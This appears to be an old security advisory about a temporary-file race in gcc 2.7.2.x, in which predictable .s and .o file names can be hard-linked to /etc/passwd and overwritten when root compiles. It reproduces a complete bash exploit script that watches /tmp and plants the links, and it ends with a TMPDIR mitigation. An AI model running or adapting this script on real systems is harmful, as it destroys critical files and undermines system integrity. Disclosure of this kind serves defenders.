COMMAND
gcc
SYSTEMS AFFECTED
Systems running gcc 2.7.2.x
PROBLEM
Michal Zalewski posted following. Launch it as a unprivledged
user in background (screen?), then, as a root, try to compile any
file or project using gcc (eg. typical daemon, service, client),
and watch out your /etc/passwd (or any other vital file, eg.
/dev/kmem, /dev/hda). It's also possible to overwrite other
user's files (if only he/she uses gcc occassionally), system logs
etc.
And this is how it bebag. During compilation, gcc uses following
temporary files:
/tmp/ccXXXXXX.i
/tmp/ccXXXXXX.s
/tmp/ccXXXXXX.o
Where XXXXXX means a 'unique' random number. Unique, but not
quite. Only the first file (.i) is created properly, after a
detailed checks. But next one (.s) is created within a noticable
time interval using _extactly the same_ number and without
performing any checks (!). Finally, the last file (.o) is created
again in the same way, but '1' is appended to the sequence number.
Now, we may leave a script, which periodically checks /tmp looking
for cc*.i files. If any has been found, the script immediately
creates link to /etc/passwd (or another vital file) using sequence
number stripped from the .i file. Because no checks are performed
by gcc, if our script was fast enough, target file may be
overwritten when gcc has been launched by root! That's especially
possible when large sources (more than 20-50 kB?), are compiled.
Exploit follows:
#!/bin/bash
# Simple GCC exploit (tested under 2.7.2.3.f.1)
# - by Michal Zalewski (lcamtuf@staszic.waw.pl)
# ---------------------------------------------
# Usage: "screen ./gcc_ln" then Ctrl+A,D
# ---------------------------------------------
# Ugh, blah... Should be written in C for
# better performance, but I have no time :)
VICTIM=/etc/passwd
if [ ! -f $VICTIM ]; then
echo "I can't see my victim ($VICTIM)..."
exit 0
fi
ORIG=`ls -l $VICTIM|awk '{print \$5}'`
echo "GCC exploit launched against $VICTIM ($ORIG bytes)."
renice +20 $PPID >&/dev/null
cd /tmp
while [ 1 ]; do
V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`
if [ ! "$V" = "" ]; then
ln $VICTIM ${V}.s &>/dev/null
ln $VICTIM ${V}1.o &>/dev/null
NOWY=`ls -l $VICTIM|awk '{print \$5}'`
if [ "$ORIG" = "$NOWY" ]; then
echo -n "."
rm -f ${V}.s ${V}1.o &>/dev/null
else
echo "Voila. I'm so smart."
rm -f ${V}.s ${V}1.o &>/dev/null
exit 0
fi
fi
done
SOLUTION
Create a 'tmp' directory within your home directory and then set
the TMPDIR environment variable to reference it. Most of the
programs in use today will honor it; and if you are worried about
the general user on your system, add to the system profile to set
their TMPDIR.
You may skip this problem with '-pipe', but -pipe has it's own
problems with autoconf. It stops various >tests working because of
another bug in gcc 2.7.x: -pipe applied to a .s file will hang the
compiler. The bug has been fixed in 2.8.0.